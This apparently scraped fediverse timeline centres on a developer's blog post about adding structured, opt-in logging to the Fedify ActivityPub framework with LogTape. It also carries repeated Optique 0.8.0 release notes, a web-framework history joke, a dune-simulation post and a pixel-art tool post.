When I started building Fedify, an ActivityPub server framework, I ran into a problem that surprised me: I couldn't figure out how to add logging. Not because logging is hard—there are dozens of mature logging libraries for JavaScript. The problem was that they're primarily designed for applications, not for libraries that want to stay unobtrusive. I wrote about this a few months ago, and the response was modest—some interest, some skepticism, and quite a bit of debate about whether the post was AI-generated. I'll be honest: English isn't my first language, so I use LLMs to polish my writing. But the ideas and technical content are mine. Several readers wanted to see a real-world example rather than theory. The problem: existing loggers assume you're building an app Fedify helps developers build federated social applications using the ActivityPub protocol. If you've ever worked with federation, you know debugging can be painful. When an activity fails to deliver, you need to answer questions like: Did the HTTP request actually go out? Was the signature generated correctly? Did the remote server reject it? Why? Was there a problem parsing the response? These questions span multiple subsystems: HTTP handling, cryptographic signatures, JSON-LD processing, queue management, and more. Without good logging, debugging turns into guesswork. But here's the dilemma I faced as a library author: if I add verbose logging to help with debugging, I risk annoying users who don't want their console cluttered with Fedify's internal chatter. If I stay silent, users struggle to diagnose issues. I looked at the existing options. With winston or Pino, I would have to either: Configure a logger inside Fedify (imposing my choices on users), or Ask users to pass a logger instance to Fedify (adding boilerplate) There's also debug, which is designed for this use case. But it doesn't give you structured, level-based logs that ops teams expect—and it relies on environment variables, which some runtimes like Deno restrict by default for security reasons. None of these felt right. So I built LogTape—a logging library designed from the ground up for library authors. And Fedify became its first real user. The solution: hierarchical categories with zero default output The key insight was simple: a library should be able to log without producing any output unless the application developer explicitly enables it. Fedify uses LogTape's hierarchical category system to give users fine-grained control over what they see. Here's how the categories are organized: CategoryWhat it logs["fedify"]Everything from the library["fedify", "federation", "inbox"]Incoming activities["fedify", "federation", "outbox"]Outgoing activities["fedify", "federation", "http"]HTTP requests and responses["fedify", "sig", "http"]HTTP Signature operations["fedify", "sig", "ld"]Linked Data Signature operations["fedify", "sig", "key"]Key generation and retrieval["fedify", "runtime", "docloader"]JSON-LD document loading["fedify", "webfinger", "lookup"]WebFinger resource lookups …and about a dozen more. Each category corresponds to a distinct subsystem. This means a user can configure logging like this: await configure({ sinks: { console: getConsoleSink() }, loggers: [ // Show errors from all of Fedify { category: "fedify", sinks: ["console"], lowestLevel: "error" }, // But show debug info for inbox processing specifically { category: ["fedify", "federation", "inbox"], sinks: ["console"], lowestLevel: "debug" }, ],}); When something goes wrong with incoming activities, they get detailed logs for that subsystem while keeping everything else quiet. No code changes required—just configuration. Request tracing with implicit contexts The hierarchical categories solved the filtering problem, but there was another challenge: correlating logs across async boundaries. In a federated system, a single user action might trigger a cascade of operations: fetch a remote actor, verify their signature, process the activity, fan out to followers, and so on. When something fails, you need to correlate all the log entries for that specific request. Fedify uses LogTape's implicit context feature to automatically tag every log entry with a requestId: await configure({ sinks: { file: getFileSink("fedify.jsonl", { formatter: jsonLinesFormatter }) }, loggers: [ { category: "fedify", sinks: ["file"], lowestLevel: "info" }, ], contextLocalStorage: new AsyncLocalStorage(), // Enables implicit contexts}); With this configuration, every log entry automatically includes a requestId property. When you need to debug a specific request, you can filter your logs: jq 'select(.properties.requestId == "abc-123")' fedify.jsonl And you'll see every log entry from that request—across all subsystems, all in order. No manual correlation needed. The requestId is derived from standard headers when available (X-Request-Id, Traceparent, etc.), so it integrates naturally with existing observability infrastructure. What users actually see So what does all this configuration actually mean for someone using Fedify? If a Fedify user doesn't configure LogTape at all, they see nothing. No warnings about missing configuration, no default output, and minimal performance overhead—the logging calls are essentially no-ops. For basic visibility, they can enable error-level logging for all of Fedify with three lines of configuration. When debugging a specific issue, they can enable debug-level logging for just the relevant subsystem. And if they're running in production with serious observability requirements, they can pipe structured JSON logs to their monitoring system with request correlation built in. The same library code supports all these scenarios—whether the user is running on Node.js, Deno, Bun, or edge functions, without extra polyfills or shims. The user decides what they need. Lessons learned Building Fedify with LogTape taught me a few things: Design your categories early. The hierarchical structure should reflect how users will actually want to filter logs. I organized Fedify's categories around subsystems that users might need to debug independently. Use structured logging. Properties like requestId, activityId, and actorId are far more useful than string interpolation when you need to analyze logs programmatically. Implicit contexts turned out to be more useful than I expected. Being able to correlate logs across async boundaries without passing context manually made debugging distributed operations much easier. When a user reports that activity delivery failed, I can give them a single jq command to extract everything relevant. Trust your users. Some library authors worry about exposing too much internal detail through logs. I've found the opposite—users appreciate being able to see what's happening when they need to. The key is making it opt-in. Try it yourself If you're building a library and struggling with the logging question—how much to log, how to give users control, how to avoid being noisy—I'd encourage you to look at how Fedify does it. The Fedify logging documentation explains everything in detail. And if you want to understand the philosophy behind LogTape's design, my earlier post covers that. LogTape isn't trying to replace winston or Pino for application developers who are happy with those tools. It fills a different gap: logging for libraries that want to stay out of the way until users need them. If that's what you're looking for, it might be a better fit than the usual app-centric loggers.

@lobsters@mastodon.social

I couldn't find a logging library that worked for my library, so I made one lobste.rs/s/ouph7k
hackers.pub/@hongminhee/2025/l

hackers.pub

I couldn't find a logging library that worked for my library, so I made one

When I started building Fedify, an ActivityPub server framework, I ran into a problem that surprised me: I couldn't figure out how to add logging. Not because logging is hard—there are dozens of mature logging libraries for JavaScript. The problem was that they're primarily designed for applications, not for libraries that want to stay unobtrusive. I wrote about this a few months ago, and the response was modest—some interest, some skepticism, and quite a bit of debate about whether the post was AI-generated. I'll be honest: English isn't my first language, so I use LLMs to polish my writing. But the ideas and technical content are mine. Several readers wanted to see a real-world example rather than theory. The problem: existing loggers assume you're building an app Fedify helps developers build federated social applications using the ActivityPub protocol. If you've ever worked with federation, you know debugging can be painful. When an activity fails to deliver, you need to answer questions like: Did the HTTP request actually go out? Was the signature generated correctly? Did the remote server reject it? Why? Was there a problem parsing the response? These questions span multiple subsystems: HTTP handling, cryptographic signatures, JSON-LD processing, queue management, and more. Without good logging, debugging turns into guesswork. But here's the dilemma I faced as a library author: if I add verbose logging to help with debugging, I risk annoying users who don't want their console cluttered with Fedify's internal chatter. If I stay silent, users struggle to diagnose issues. I looked at the existing options. With winston or Pino, I would have to either: Configure a logger inside Fedify (imposing my choices on users), or Ask users to pass a logger instance to Fedify (adding boilerplate) There's also debug, which is designed for this use case. But it doesn't give you structured, level-based logs that ops teams expect—and it relies on environment variables, which some runtimes like Deno restrict by default for security reasons. None of these felt right. So I built LogTape—a logging library designed from the ground up for library authors. And Fedify became its first real user. The solution: hierarchical categories with zero default output The key insight was simple: a library should be able to log without producing any output unless the application developer explicitly enables it. Fedify uses LogTape's hierarchical category system to give users fine-grained control over what they see. Here's how the categories are organized: CategoryWhat it logs["fedify"]Everything from the library["fedify", "federation", "inbox"]Incoming activities["fedify", "federation", "outbox"]Outgoing activities["fedify", "federation", "http"]HTTP requests and responses["fedify", "sig", "http"]HTTP Signature operations["fedify", "sig", "ld"]Linked Data Signature operations["fedify", "sig", "key"]Key generation and retrieval["fedify", "runtime", "docloader"]JSON-LD document loading["fedify", "webfinger", "lookup"]WebFinger resource lookups …and about a dozen more. Each category corresponds to a distinct subsystem. This means a user can configure logging like this: await configure({ sinks: { console: getConsoleSink() }, loggers: [ // Show errors from all of Fedify { category: "fedify", sinks: ["console"], lowestLevel: "error" }, // But show debug info for inbox processing specifically { category: ["fedify", "federation", "inbox"], sinks: ["console"], lowestLevel: "debug" }, ],}); When something goes wrong with incoming activities, they get detailed logs for that subsystem while keeping everything else quiet. No code changes required—just configuration. Request tracing with implicit contexts The hierarchical categories solved the filtering problem, but there was another challenge: correlating logs across async boundaries. In a federated system, a single user action might trigger a cascade of operations: fetch a remote actor, verify their signature, process the activity, fan out to followers, and so on. When something fails, you need to correlate all the log entries for that specific request. Fedify uses LogTape's implicit context feature to automatically tag every log entry with a requestId: await configure({ sinks: { file: getFileSink("fedify.jsonl", { formatter: jsonLinesFormatter }) }, loggers: [ { category: "fedify", sinks: ["file"], lowestLevel: "info" }, ], contextLocalStorage: new AsyncLocalStorage(), // Enables implicit contexts}); With this configuration, every log entry automatically includes a requestId property. When you need to debug a specific request, you can filter your logs: jq 'select(.properties.requestId == "abc-123")' fedify.jsonl And you'll see every log entry from that request—across all subsystems, all in order. No manual correlation needed. The requestId is derived from standard headers when available (X-Request-Id, Traceparent, etc.), so it integrates naturally with existing observability infrastructure. What users actually see So what does all this configuration actually mean for someone using Fedify? If a Fedify user doesn't configure LogTape at all, they see nothing. No warnings about missing configuration, no default output, and minimal performance overhead—the logging calls are essentially no-ops. For basic visibility, they can enable error-level logging for all of Fedify with three lines of configuration. When debugging a specific issue, they can enable debug-level logging for just the relevant subsystem. And if they're running in production with serious observability requirements, they can pipe structured JSON logs to their monitoring system with request correlation built in. The same library code supports all these scenarios—whether the user is running on Node.js, Deno, Bun, or edge functions, without extra polyfills or shims. The user decides what they need. Lessons learned Building Fedify with LogTape taught me a few things: Design your categories early. The hierarchical structure should reflect how users will actually want to filter logs. I organized Fedify's categories around subsystems that users might need to debug independently. Use structured logging. Properties like requestId, activityId, and actorId are far more useful than string interpolation when you need to analyze logs programmatically. Implicit contexts turned out to be more useful than I expected. Being able to correlate logs across async boundaries without passing context manually made debugging distributed operations much easier. When a user reports that activity delivery failed, I can give them a single jq command to extract everything relevant. Trust your users. Some library authors worry about exposing too much internal detail through logs. I've found the opposite—users appreciate being able to see what's happening when they need to. The key is making it opt-in. Try it yourself If you're building a library and struggling with the logging question—how much to log, how to give users control, how to avoid being noisy—I'd encourage you to look at how Fedify does it. The Fedify logging documentation explains everything in detail. And if you want to understand the philosophy behind LogTape's design, my earlier post covers that. LogTape isn't trying to replace winston or Pino for application developers who are happy with those tools. It fills a different gap: logging for libraries that want to stay out of the way until users need them. If that's what you're looking for, it might be a better fit than the usual app-centric loggers.

@lobsters@mastodon.social

I couldn't find a logging library that worked for my library, so I made one lobste.rs/s/ouph7k
hackers.pub/@hongminhee/2025/l

hackers.pub

I couldn't find a logging library that worked for my library, so I made one

When I started building Fedify, an ActivityPub server framework, I ran into a problem that surprised me: I couldn't figure out how to add logging. Not because logging is hard—there are dozens of mature logging libraries for JavaScript. The problem was that they're primarily designed for applications, not for libraries that want to stay unobtrusive. I wrote about this a few months ago, and the response was modest—some interest, some skepticism, and quite a bit of debate about whether the post was AI-generated. I'll be honest: English isn't my first language, so I use LLMs to polish my writing. But the ideas and technical content are mine. Several readers wanted to see a real-world example rather than theory. The problem: existing loggers assume you're building an app Fedify helps developers build federated social applications using the ActivityPub protocol. If you've ever worked with federation, you know debugging can be painful. When an activity fails to deliver, you need to answer questions like: Did the HTTP request actually go out? Was the signature generated correctly? Did the remote server reject it? Why? Was there a problem parsing the response? These questions span multiple subsystems: HTTP handling, cryptographic signatures, JSON-LD processing, queue management, and more. Without good logging, debugging turns into guesswork. But here's the dilemma I faced as a library author: if I add verbose logging to help with debugging, I risk annoying users who don't want their console cluttered with Fedify's internal chatter. If I stay silent, users struggle to diagnose issues. I looked at the existing options. With winston or Pino, I would have to either: Configure a logger inside Fedify (imposing my choices on users), or Ask users to pass a logger instance to Fedify (adding boilerplate) There's also debug, which is designed for this use case. But it doesn't give you structured, level-based logs that ops teams expect—and it relies on environment variables, which some runtimes like Deno restrict by default for security reasons. None of these felt right. So I built LogTape—a logging library designed from the ground up for library authors. And Fedify became its first real user. The solution: hierarchical categories with zero default output The key insight was simple: a library should be able to log without producing any output unless the application developer explicitly enables it. Fedify uses LogTape's hierarchical category system to give users fine-grained control over what they see. Here's how the categories are organized: CategoryWhat it logs["fedify"]Everything from the library["fedify", "federation", "inbox"]Incoming activities["fedify", "federation", "outbox"]Outgoing activities["fedify", "federation", "http"]HTTP requests and responses["fedify", "sig", "http"]HTTP Signature operations["fedify", "sig", "ld"]Linked Data Signature operations["fedify", "sig", "key"]Key generation and retrieval["fedify", "runtime", "docloader"]JSON-LD document loading["fedify", "webfinger", "lookup"]WebFinger resource lookups …and about a dozen more. Each category corresponds to a distinct subsystem. This means a user can configure logging like this: await configure({ sinks: { console: getConsoleSink() }, loggers: [ // Show errors from all of Fedify { category: "fedify", sinks: ["console"], lowestLevel: "error" }, // But show debug info for inbox processing specifically { category: ["fedify", "federation", "inbox"], sinks: ["console"], lowestLevel: "debug" }, ],}); When something goes wrong with incoming activities, they get detailed logs for that subsystem while keeping everything else quiet. No code changes required—just configuration. Request tracing with implicit contexts The hierarchical categories solved the filtering problem, but there was another challenge: correlating logs across async boundaries. In a federated system, a single user action might trigger a cascade of operations: fetch a remote actor, verify their signature, process the activity, fan out to followers, and so on. When something fails, you need to correlate all the log entries for that specific request. Fedify uses LogTape's implicit context feature to automatically tag every log entry with a requestId: await configure({ sinks: { file: getFileSink("fedify.jsonl", { formatter: jsonLinesFormatter }) }, loggers: [ { category: "fedify", sinks: ["file"], lowestLevel: "info" }, ], contextLocalStorage: new AsyncLocalStorage(), // Enables implicit contexts}); With this configuration, every log entry automatically includes a requestId property. When you need to debug a specific request, you can filter your logs: jq 'select(.properties.requestId == "abc-123")' fedify.jsonl And you'll see every log entry from that request—across all subsystems, all in order. No manual correlation needed. The requestId is derived from standard headers when available (X-Request-Id, Traceparent, etc.), so it integrates naturally with existing observability infrastructure. What users actually see So what does all this configuration actually mean for someone using Fedify? If a Fedify user doesn't configure LogTape at all, they see nothing. No warnings about missing configuration, no default output, and minimal performance overhead—the logging calls are essentially no-ops. For basic visibility, they can enable error-level logging for all of Fedify with three lines of configuration. When debugging a specific issue, they can enable debug-level logging for just the relevant subsystem. And if they're running in production with serious observability requirements, they can pipe structured JSON logs to their monitoring system with request correlation built in. The same library code supports all these scenarios—whether the user is running on Node.js, Deno, Bun, or edge functions, without extra polyfills or shims. The user decides what they need. Lessons learned Building Fedify with LogTape taught me a few things: Design your categories early. The hierarchical structure should reflect how users will actually want to filter logs. I organized Fedify's categories around subsystems that users might need to debug independently. Use structured logging. Properties like requestId, activityId, and actorId are far more useful than string interpolation when you need to analyze logs programmatically. Implicit contexts turned out to be more useful than I expected. Being able to correlate logs across async boundaries without passing context manually made debugging distributed operations much easier. When a user reports that activity delivery failed, I can give them a single jq command to extract everything relevant. Trust your users. Some library authors worry about exposing too much internal detail through logs. I've found the opposite—users appreciate being able to see what's happening when they need to. The key is making it opt-in. Try it yourself If you're building a library and struggling with the logging question—how much to log, how to give users control, how to avoid being noisy—I'd encourage you to look at how Fedify does it. The Fedify logging documentation explains everything in detail. And if you want to understand the philosophy behind LogTape's design, my earlier post covers that. LogTape isn't trying to replace winston or Pino for application developers who are happy with those tools. It fills a different gap: logging for libraries that want to stay out of the way until users need them. If that's what you're looking for, it might be a better fit than the usual app-centric loggers.

@bitbear@icosahedron.website

The untold history of web development:

1990: HTML invented.
1994: CSS invented to fix HTML.
1995: JS invented to fix HTML/CSS.
2006: jQuery invented to fix JS.
2010: AngularJS invented to fix jQuery.
2013: React invented to fix AngularJS.
2014: Vue invented to fix React & Angular.
2016: Angular 2 invented to fix AngularJS & React.
2019: Svelte 3 invented to fix React, Angular, Vue.
2019: React hooks invented to fix React.
2020: Vue 3 invented to fix React hooks.
2020: Solid invented to fix React, Angular, Svelte, Vue.
2020: HTMX 1.0 invented to fix React, Angular, Svelte, Vue, Solid.
2021: React suspense invented to fix React, again.
2023: Svelte Runes invented to fix Svelte.
2024: jQuery still used on 75% of websites.

(By twitter.com/fireship_dev)

@bitbear@icosahedron.website

The untold history of web development:

1990: HTML invented.
1994: CSS invented to fix HTML.
1995: JS invented to fix HTML/CSS.
2006: jQuery invented to fix JS.
2010: AngularJS invented to fix jQuery.
2013: React invented to fix AngularJS.
2014: Vue invented to fix React & Angular.
2016: Angular 2 invented to fix AngularJS & React.
2019: Svelte 3 invented to fix React, Angular, Vue.
2019: React hooks invented to fix React.
2020: Vue 3 invented to fix React hooks.
2020: Solid invented to fix React, Angular, Svelte, Vue.
2020: HTMX 1.0 invented to fix React, Angular, Svelte, Vue, Solid.
2021: React suspense invented to fix React, again.
2023: Svelte Runes invented to fix Svelte.
2024: jQuery still used on 75% of websites.

(By twitter.com/fireship_dev)

@bitbear@icosahedron.website

The untold history of web development:

1990: HTML invented.
1994: CSS invented to fix HTML.
1995: JS invented to fix HTML/CSS.
2006: jQuery invented to fix JS.
2010: AngularJS invented to fix jQuery.
2013: React invented to fix AngularJS.
2014: Vue invented to fix React & Angular.
2016: Angular 2 invented to fix AngularJS & React.
2019: Svelte 3 invented to fix React, Angular, Vue.
2019: React hooks invented to fix React.
2020: Vue 3 invented to fix React hooks.
2020: Solid invented to fix React, Angular, Svelte, Vue.
2020: HTMX 1.0 invented to fix React, Angular, Svelte, Vue, Solid.
2021: React suspense invented to fix React, again.
2023: Svelte Runes invented to fix Svelte.
2024: jQuery still used on 75% of websites.

(By twitter.com/fireship_dev)

@toxi@mastodon.thi.ng

Aeolian dune simulation (made in 2017) for :

The images show a screenshot of the JavaScript application to create the simulation and some Houdini renders of exported height fields. The sim itself had 5 macro params to control the behavior of the interactive deposit/erosion/transportation process. It supported tileable patterns, customizable seed terrain (images) and ran realtime at ~30fps. The profile (cross-section) visualization was important because the tool was intended to create traction patterns for footwear...

References:

en.wikipedia.org/wiki/Aeolian_
en.wikipedia.org/wiki/Saltatio
en.wikipedia.org/wiki/Barchan

web.archive.org/web/2017080906

Screenshot showing a 2D grayscale height map of the simulated dune formation process. Below it is a cross-section profile view of the map's center row...
ALT text

Screenshot showing a 2D grayscale height map of the simulated dune formation process. Below it is a cross-section profile view of the map's center row...

3D render of a simulated dune (using the same heightmap shown in the 1st image)
ALT text

3D render of a simulated dune (using the same heightmap shown in the 1st image)

3D render of a simulated dune, showing a more classic long ripple pattern...
ALT text

3D render of a simulated dune, showing a more classic long ripple pattern...

3D render of a simulated dune with adjusted wind & deposition params to make the ripples wider and more sloped...
ALT text

3D render of a simulated dune with adjusted wind & deposition params to make the ripples wider and more sloped...

@yogthos@social.marxist.network

Made a small tool for converting images into pixel art that preserves features while downscaling. The key trick is in using edge detection, the first example is with it enabled, and second one is without

git.sr.ht/~yogthos/pixel-mosaic

picture of a black cat and a pixelized version next to it
ALT text

picture of a black cat and a pixelized version next to it

picture of a black cat and a pixelized version next to it
ALT text

picture of a black cat and a pixelized version next to it

@lobsters@mastodon.social

Optique 0.8.0: Conditional parsing, pass-through options, and LogTape integration lobste.rs/s/wh35st
hackers.pub/@hongminhee/2025/o

hackers.pub

Optique 0.8.0: Conditional parsing, pass-through options, and LogTape integration

We're excited to announce Optique 0.8.0! This release introduces powerful new features for building sophisticated CLI applications: the conditional() combinator for discriminated union patterns, the passThrough() parser for wrapper tools, and the new @optique/logtape package for seamless logging configuration. Optique is a type-safe combinatorial CLI parser for TypeScript, providing a functional approach to building command-line interfaces with composable parsers and full type inference. New conditional parsing with conditional() Ever needed to enable different sets of options based on a discriminator value? The new conditional() combinator makes this pattern first-class. It creates discriminated unions where certain options only become valid when a specific discriminator value is selected. import { conditional, object } from "@optique/core/constructs";import { option } from "@optique/core/primitives";import { choice, string } from "@optique/core/valueparser";const parser = conditional( option("--reporter", choice(["console", "junit", "html"])), { console: object({}), junit: object({ outputFile: option("--output-file", string()) }), html: object({ outputFile: option("--output-file", string()) }), });// Result type: ["console", {}] | ["junit", { outputFile: string }] | ... Key features: Explicit discriminator option determines which branch is selected Tuple result [discriminator, branchValue] for clear type narrowing Optional default branch for when discriminator is not provided Clear error messages indicating which options are required for each discriminator value The conditional() parser provides a more structured alternative to or() for discriminated union patterns. Use it when you have an explicit discriminator option that determines which set of options is valid. See the conditional() documentation for more details and examples. Pass-through options with passThrough() Building wrapper CLI tools that need to forward unrecognized options to an underlying tool? The new passThrough() parser enables legitimate wrapper/proxy patterns by capturing unknown options without validation errors. import { object } from "@optique/core/constructs";import { option, passThrough } from "@optique/core/primitives";const parser = object({ debug: option("--debug"), extra: passThrough(),});// mycli --debug --foo=bar --baz=qux// → { debug: true, extra: ["--foo=bar", "--baz=qux"] } Key features: Three capture formats: "equalsOnly" (default, safest), "nextToken" (captures --opt val pairs), and "greedy" (captures all remaining tokens) Lowest priority (−10) ensures explicit parsers always match first Respects -- options terminator in "equalsOnly" and "nextToken" modes Works seamlessly with object(), subcommands, and other combinators This feature is designed for building Docker-like CLIs, build tool wrappers, or any tool that proxies commands to another process. See the passThrough() documentation for usage patterns and best practices. LogTape logging integration The new @optique/logtape package provides seamless integration with LogTape, enabling you to configure logging through command-line arguments with various parsing strategies. # Denodeno add --jsr @optique/logtape @logtape/logtape# npmnpm add @optique/logtape @logtape/logtape Quick start with the loggingOptions() preset: import { loggingOptions, createLoggingConfig } from "@optique/logtape";import { object } from "@optique/core/constructs";import { parse } from "@optique/core/parser";import { configure } from "@logtape/logtape";const parser = object({ logging: loggingOptions({ level: "verbosity" }),});const args = ["-vv", "--log-output=-"];const result = parse(parser, args);if (result.success) { const config = await createLoggingConfig(result.value.logging); await configure(config);} The package offers multiple approaches to control log verbosity: verbosity() parser: The classic -v/-vv/-vvv pattern where each flag increases verbosity (no flags → "warning", -v → "info", -vv → "debug", -vvv → "trace") debug() parser: Simple --debug/-d flag that toggles between normal and debug levels logLevel() value parser: Explicit --log-level=debug option for direct level selection logOutput() parser: Log output destination with - for console or file path for file output See the LogTape integration documentation for complete examples and configuration options. Bug fix: negative integers now accepted Fixed an issue where the integer() value parser rejected negative integers when using type: "number". The regex pattern has been updated from /^\d+$/ to /^-?\d+$/ to correctly handle values like -42. Note that type: "bigint" already accepted negative integers, so this change brings consistency between the two types. Installation # Denodeno add jsr:@optique/core# npmnpm add @optique/core# pnpmpnpm add @optique/core# Yarnyarn add @optique/core# Bunbun add @optique/core For the LogTape integration: # Denodeno add --jsr @optique/logtape @logtape/logtape# npmnpm add @optique/logtape @logtape/logtape# pnpmpnpm add @optique/logtape @logtape/logtape# Yarnyarn add @optique/logtape @logtape/logtape# Bunbun add @optique/logtape @logtape/logtape Looking forward Optique 0.8.0 continues our focus on making CLI development more expressive and type-safe. The conditional() combinator brings discriminated union patterns to the forefront, passThrough() enables new wrapper tool use cases, and the LogTape integration makes logging configuration a breeze. As always, all new features maintain full backward compatibility—your existing parsers continue to work unchanged. We're grateful to the community for feedback and suggestions. If you have ideas for future improvements or encounter any issues, please let us know through GitHub Issues. For more information about Optique and its features, visit the documentation or check out the full changelog.

@lobsters@mastodon.social

Optique 0.8.0: Conditional parsing, pass-through options, and LogTape integration lobste.rs/s/wh35st
hackers.pub/@hongminhee/2025/o

hackers.pub

Optique 0.8.0: Conditional parsing, pass-through options, and LogTape integration

We're excited to announce Optique 0.8.0! This release introduces powerful new features for building sophisticated CLI applications: the conditional() combinator for discriminated union patterns, the passThrough() parser for wrapper tools, and the new @optique/logtape package for seamless logging configuration. Optique is a type-safe combinatorial CLI parser for TypeScript, providing a functional approach to building command-line interfaces with composable parsers and full type inference. New conditional parsing with conditional() Ever needed to enable different sets of options based on a discriminator value? The new conditional() combinator makes this pattern first-class. It creates discriminated unions where certain options only become valid when a specific discriminator value is selected. import { conditional, object } from "@optique/core/constructs";import { option } from "@optique/core/primitives";import { choice, string } from "@optique/core/valueparser";const parser = conditional( option("--reporter", choice(["console", "junit", "html"])), { console: object({}), junit: object({ outputFile: option("--output-file", string()) }), html: object({ outputFile: option("--output-file", string()) }), });// Result type: ["console", {}] | ["junit", { outputFile: string }] | ... Key features: Explicit discriminator option determines which branch is selected Tuple result [discriminator, branchValue] for clear type narrowing Optional default branch for when discriminator is not provided Clear error messages indicating which options are required for each discriminator value The conditional() parser provides a more structured alternative to or() for discriminated union patterns. Use it when you have an explicit discriminator option that determines which set of options is valid. See the conditional() documentation for more details and examples. Pass-through options with passThrough() Building wrapper CLI tools that need to forward unrecognized options to an underlying tool? The new passThrough() parser enables legitimate wrapper/proxy patterns by capturing unknown options without validation errors. import { object } from "@optique/core/constructs";import { option, passThrough } from "@optique/core/primitives";const parser = object({ debug: option("--debug"), extra: passThrough(),});// mycli --debug --foo=bar --baz=qux// → { debug: true, extra: ["--foo=bar", "--baz=qux"] } Key features: Three capture formats: "equalsOnly" (default, safest), "nextToken" (captures --opt val pairs), and "greedy" (captures all remaining tokens) Lowest priority (−10) ensures explicit parsers always match first Respects -- options terminator in "equalsOnly" and "nextToken" modes Works seamlessly with object(), subcommands, and other combinators This feature is designed for building Docker-like CLIs, build tool wrappers, or any tool that proxies commands to another process. See the passThrough() documentation for usage patterns and best practices. LogTape logging integration The new @optique/logtape package provides seamless integration with LogTape, enabling you to configure logging through command-line arguments with various parsing strategies. # Denodeno add --jsr @optique/logtape @logtape/logtape# npmnpm add @optique/logtape @logtape/logtape Quick start with the loggingOptions() preset: import { loggingOptions, createLoggingConfig } from "@optique/logtape";import { object } from "@optique/core/constructs";import { parse } from "@optique/core/parser";import { configure } from "@logtape/logtape";const parser = object({ logging: loggingOptions({ level: "verbosity" }),});const args = ["-vv", "--log-output=-"];const result = parse(parser, args);if (result.success) { const config = await createLoggingConfig(result.value.logging); await configure(config);} The package offers multiple approaches to control log verbosity: verbosity() parser: The classic -v/-vv/-vvv pattern where each flag increases verbosity (no flags → "warning", -v → "info", -vv → "debug", -vvv → "trace") debug() parser: Simple --debug/-d flag that toggles between normal and debug levels logLevel() value parser: Explicit --log-level=debug option for direct level selection logOutput() parser: Log output destination with - for console or file path for file output See the LogTape integration documentation for complete examples and configuration options. Bug fix: negative integers now accepted Fixed an issue where the integer() value parser rejected negative integers when using type: "number". The regex pattern has been updated from /^\d+$/ to /^-?\d+$/ to correctly handle values like -42. Note that type: "bigint" already accepted negative integers, so this change brings consistency between the two types. Installation # Denodeno add jsr:@optique/core# npmnpm add @optique/core# pnpmpnpm add @optique/core# Yarnyarn add @optique/core# Bunbun add @optique/core For the LogTape integration: # Denodeno add --jsr @optique/logtape @logtape/logtape# npmnpm add @optique/logtape @logtape/logtape# pnpmpnpm add @optique/logtape @logtape/logtape# Yarnyarn add @optique/logtape @logtape/logtape# Bunbun add @optique/logtape @logtape/logtape Looking forward Optique 0.8.0 continues our focus on making CLI development more expressive and type-safe. The conditional() combinator brings discriminated union patterns to the forefront, passThrough() enables new wrapper tool use cases, and the LogTape integration makes logging configuration a breeze. As always, all new features maintain full backward compatibility—your existing parsers continue to work unchanged. We're grateful to the community for feedback and suggestions. If you have ideas for future improvements or encounter any issues, please let us know through GitHub Issues. For more information about Optique and its features, visit the documentation or check out the full changelog.

@lobsters@mastodon.social

Optique 0.8.0: Conditional parsing, pass-through options, and LogTape integration lobste.rs/s/wh35st
hackers.pub/@hongminhee/2025/o

hackers.pub

Optique 0.8.0: Conditional parsing, pass-through options, and LogTape integration

We're excited to announce Optique 0.8.0! This release introduces powerful new features for building sophisticated CLI applications: the conditional() combinator for discriminated union patterns, the passThrough() parser for wrapper tools, and the new @optique/logtape package for seamless logging configuration. Optique is a type-safe combinatorial CLI parser for TypeScript, providing a functional approach to building command-line interfaces with composable parsers and full type inference. New conditional parsing with conditional() Ever needed to enable different sets of options based on a discriminator value? The new conditional() combinator makes this pattern first-class. It creates discriminated unions where certain options only become valid when a specific discriminator value is selected. import { conditional, object } from "@optique/core/constructs";import { option } from "@optique/core/primitives";import { choice, string } from "@optique/core/valueparser";const parser = conditional( option("--reporter", choice(["console", "junit", "html"])), { console: object({}), junit: object({ outputFile: option("--output-file", string()) }), html: object({ outputFile: option("--output-file", string()) }), });// Result type: ["console", {}] | ["junit", { outputFile: string }] | ... Key features: Explicit discriminator option determines which branch is selected Tuple result [discriminator, branchValue] for clear type narrowing Optional default branch for when discriminator is not provided Clear error messages indicating which options are required for each discriminator value The conditional() parser provides a more structured alternative to or() for discriminated union patterns. Use it when you have an explicit discriminator option that determines which set of options is valid. See the conditional() documentation for more details and examples. Pass-through options with passThrough() Building wrapper CLI tools that need to forward unrecognized options to an underlying tool? The new passThrough() parser enables legitimate wrapper/proxy patterns by capturing unknown options without validation errors. import { object } from "@optique/core/constructs";import { option, passThrough } from "@optique/core/primitives";const parser = object({ debug: option("--debug"), extra: passThrough(),});// mycli --debug --foo=bar --baz=qux// → { debug: true, extra: ["--foo=bar", "--baz=qux"] } Key features: Three capture formats: "equalsOnly" (default, safest), "nextToken" (captures --opt val pairs), and "greedy" (captures all remaining tokens) Lowest priority (−10) ensures explicit parsers always match first Respects -- options terminator in "equalsOnly" and "nextToken" modes Works seamlessly with object(), subcommands, and other combinators This feature is designed for building Docker-like CLIs, build tool wrappers, or any tool that proxies commands to another process. See the passThrough() documentation for usage patterns and best practices. LogTape logging integration The new @optique/logtape package provides seamless integration with LogTape, enabling you to configure logging through command-line arguments with various parsing strategies. # Denodeno add --jsr @optique/logtape @logtape/logtape# npmnpm add @optique/logtape @logtape/logtape Quick start with the loggingOptions() preset: import { loggingOptions, createLoggingConfig } from "@optique/logtape";import { object } from "@optique/core/constructs";import { parse } from "@optique/core/parser";import { configure } from "@logtape/logtape";const parser = object({ logging: loggingOptions({ level: "verbosity" }),});const args = ["-vv", "--log-output=-"];const result = parse(parser, args);if (result.success) { const config = await createLoggingConfig(result.value.logging); await configure(config);} The package offers multiple approaches to control log verbosity: verbosity() parser: The classic -v/-vv/-vvv pattern where each flag increases verbosity (no flags → "warning", -v → "info", -vv → "debug", -vvv → "trace") debug() parser: Simple --debug/-d flag that toggles between normal and debug levels logLevel() value parser: Explicit --log-level=debug option for direct level selection logOutput() parser: Log output destination with - for console or file path for file output See the LogTape integration documentation for complete examples and configuration options. Bug fix: negative integers now accepted Fixed an issue where the integer() value parser rejected negative integers when using type: "number". The regex pattern has been updated from /^\d+$/ to /^-?\d+$/ to correctly handle values like -42. Note that type: "bigint" already accepted negative integers, so this change brings consistency between the two types. Installation # Denodeno add jsr:@optique/core# npmnpm add @optique/core# pnpmpnpm add @optique/core# Yarnyarn add @optique/core# Bunbun add @optique/core For the LogTape integration: # Denodeno add --jsr @optique/logtape @logtape/logtape# npmnpm add @optique/logtape @logtape/logtape# pnpmpnpm add @optique/logtape @logtape/logtape# Yarnyarn add @optique/logtape @logtape/logtape# Bunbun add @optique/logtape @logtape/logtape Looking forward Optique 